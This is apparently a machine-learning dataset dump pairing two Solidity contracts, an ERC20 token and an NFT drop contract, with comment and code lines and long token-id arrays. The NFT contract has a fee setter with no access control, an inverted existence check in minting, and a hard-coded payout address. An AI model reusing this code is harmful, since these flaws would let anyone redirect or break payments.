-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-07-15 */ /** *Submitted for verification at Etherscan.io on 2020-05-24 */ pragma solidity ^0.4.21; interface ERC20 { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract StandardToken is ERC20 { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; function StandardToken() public { _name = "CommaOpenChat"; // Set the name for display purposes _decimals = 18; // Amount of decimals for display purposes _symbol = "COC"; // Set the symbol for display purposes _totalSupply = 5000000000000000000000000000; // Update total supply (100000 for example) balances[msg.sender] = 5000000000000000000000000000; // Give the creator all initial tokens (100000 for example) } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
Set the name for display purposes
_name = "CommaOpenChat";
7,006,665
[ 1, 4625, 348, 7953, 560, 30, 225, 1000, 326, 508, 364, 2562, 13694, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 4202, 389, 529, 273, 315, 15594, 3678, 14163, 14432, 4766, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.0; import "./interfaces/IRoyalties.sol"; import "./tokens/ERC721URIStorage.sol"; import "./utils/OwnableUpgradeable.sol"; import "./utils/Address.sol"; import "./utils/MerkleProof.sol"; contract uwudropShared is OwnableUpgradeable, ERC721Simple { using Address for address payable; string public baseURI; uint256 private _royaltyInBasisPoints = 300; uint256 public collectionIndex; uint256 public uwulabsFee; mapping(uint256 => bool) public collectionFinalized; mapping(uint256 => bytes32) public collectionDataRoot; mapping(uint256 => address) public collectionOwner; // maybe put in merkle tree for simplicity. mapping(uint256 => bytes32) public collectionManagers; mapping(uint256 => address) public derivativeSourceNFT; mapping(address => address) public derivativeSourceReceiver; mapping(address => uint256) public derivativeFee; /** * @dev Stores an optional alternate address to receive creator revenue and royalty payments. * The target address may be a contract which could split or escrow payments. */ address payable private _creatorPaymentAddress; event Purchase(uint256 collectionId, uint256 id); event CollectionUpdate(uint256 collectionId, uint256 newMaxSupply, bytes32 newNFTDataRoot, string customURI); event CollectionManagerUpdate(uint256 collectionId, bytes32 newCollectionManagerRoot); event Finalized(uint256 collectionId); function __uwudropShared_init(string memory _name, string memory _symbol, string memory _baseURI) external { __Ownable_init(); __ERC721Simple_init(_name, _symbol); setBaseURI(_baseURI); uwulabsFee = 0.01 gwei; } function createCollection(bytes32 dataRoot, address _derivativeSourceNFT) external { uint256 _collectionIndex = collectionIndex + 1; collectionIndex = _collectionIndex; collectionOwner[_collectionIndex] = msg.sender; collectionDataRoot[_collectionIndex] = dataRoot; derivativeSourceNFT[_collectionIndex] = _derivativeSourceNFT; } function updateCollectionData(uint256 collectionId, string memory customURI, uint256 newMaxSupply, bytes32 newNFTDataTreeRoot) external onlyOwner { require(!collectionFinalized[collectionId], "Finalized"); collectionDataRoot[collectionId] = newNFTDataTreeRoot; baseURI = customURI; emit CollectionUpdate(collectionId, newMaxSupply, newNFTDataTreeRoot, customURI); } // function managerUpdateCollectionData(uint256 collectionId, string memory customURI, uint256 newMaxSupply, bytes32 newNFTDataTreeRoot) external onlyOwner { // require(!collectionFinalized[collectionId], "Finalized"); // require(!collectionFinalized[collectionId], "Finalized"); // collectionDataRoot[collectionId] = newNFTDataTreeRoot; // baseURI = customURI; // emit CollectionUpdate(newMaxSupply, newNFTDataTreeRoot, customURI); // } function updateCollectionManagers(uint256 collectionId, bytes32 collectionManagerRoot) external { require(msg.sender == collectionOwner[collectionId], "Not collection owner"); collectionManagers[collectionId] = collectionManagerRoot; } function finalize(uint256 collectionId) external { require(msg.sender == collectionOwner[collectionId], "Not collection owner"); collectionFinalized[collectionId] = true; emit Finalized(collectionId); } function nftMint(uint256 collectionId, uint256 id, uint256 price, address sourceArtist, bool privateSale, bytes32[] memory merkleProof) external payable { uint256 _nftId = collectionId*1e6 | id; require(id < 1e6, "Above max"); require(_exists(_nftId), "Already purchased"); require(msg.value == price, "Not enough ETH"); bytes32 _dataRoot = collectionDataRoot[collectionId]; require(_dataRoot != bytes32(0), "Data Root not initialized"); { address receiver = address(0); if (privateSale) { receiver = msg.sender; } bytes32 node = keccak256(abi.encodePacked(collectionId, id, price, msg.value, receiver)); require(MerkleProof.verify(merkleProof, _dataRoot, node), 'MerkleDistributor: Invalid proof.'); } // uwulabs fee: 1%. uint256 _uwulabsFee = uwulabsFee; payable(owner()).sendValue((_uwulabsFee * msg.value)/1 gwei); // derivative source fee: variable. address _derivativeSourceNFT = derivativeSourceNFT[collectionId]; uint256 derivFee; if (_derivativeSourceNFT != address(0)) { derivFee = derivativeFee[_derivativeSourceNFT]; if (derivFee > 0) { payable(derivativeSourceReceiver[_derivativeSourceNFT]).sendValue((derivFee * msg.value)/1 gwei); } } // Rest goes to artist. payable(sourceArtist).sendValue(((1 gwei - derivFee - _uwulabsFee)*msg.value)/1 gwei); _mint(sourceArtist, msg.sender, _nftId); // Add more to this. emit Purchase(collectionId, id); } function setDerivativeSourceFee(address _derivativeSourceNFT, uint256 _derivFee, address _derivFeeReceiver) public { // require(); derivativeSourceReceiver[_derivativeSourceNFT] = _derivFeeReceiver; derivativeFee[_derivativeSourceNFT] = _derivFee; } function disperseETH() internal { uint256 fullAmount = address(this).balance; payable(msg.sender).sendValue(fullAmount*990/1000); payable(0x354A70969F0b4a4C994403051A81C2ca45db3615).sendValue(address(this).balance); } function setTokenCreatorPaymentAddress(address payable tokenCreatorPaymentAddress) external onlyOwner { _creatorPaymentAddress = tokenCreatorPaymentAddress; } function setRoyaltyInBasisPoints(uint256 royaltyInBasisPoints) external onlyOwner { _royaltyInBasisPoints = royaltyInBasisPoints; } function setBaseURI(string memory newURI) public onlyOwner { baseURI = newURI; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { if ( interfaceId == type(IGetRoyalties).interfaceId || interfaceId == type(ITokenCreator).interfaceId || interfaceId == type(ITokenCreatorPaymentAddress).interfaceId || interfaceId == type(IGetFees).interfaceId ) { return true; } return super.supportsInterface(interfaceId); } /** * @notice Returns an array of recipient addresses to which royalties for secondary sales should be sent. * The expected royalty amount is communicated with `getFeeBps`. */ function getFeeRecipients(uint256 /*id*/) external view returns (address payable[] memory recipients) { recipients = new address payable[](1); recipients[0] = _creatorPaymentAddress; } /** * @notice Returns an array of royalties to be sent for secondary sales in basis points. * The expected recipients is communicated with `getFeeRecipients`. */ function getFeeBps( uint256 /* id */ ) external view returns (uint256[] memory feesInBasisPoints) { feesInBasisPoints = new uint256[](1); feesInBasisPoints[0] = _royaltyInBasisPoints; } /** * @notice Returns an array of royalties to be sent for secondary sales. **/ function getRoyalties(uint256 /*tokenId*/) external view returns (address payable[] memory recipients, uint256[] memory feesInBasisPoints) { recipients = new address payable[](1); recipients[0] = _creatorPaymentAddress; feesInBasisPoints = new uint256[](1); feesInBasisPoints[0] = _royaltyInBasisPoints; } /** * @notice Returns the creator for an NFT, which is always the collection owner. */ function tokenCreator( uint256 /* tokenId */ ) external view returns (address payable) { return payable(owner()); } /** * @notice Returns the desired payment address to be used for any transfers to the creator. * @dev The payment address may be assigned for each individual NFT, if not defined the collection owner is returned. */ function getTokenCreatorPaymentAddress(uint256 /* tokenId */) public view returns (address payable) { return _creatorPaymentAddress; } }
derivative source fee: variable.
address _derivativeSourceNFT = derivativeSourceNFT[collectionId];
7,294,012
[ 1, 4625, 348, 7953, 560, 30, 225, 16417, 1084, 14036, 30, 2190, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 389, 20615, 1535, 1830, 50, 4464, 273, 16417, 1830, 50, 4464, 63, 5548, 548, 15533, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 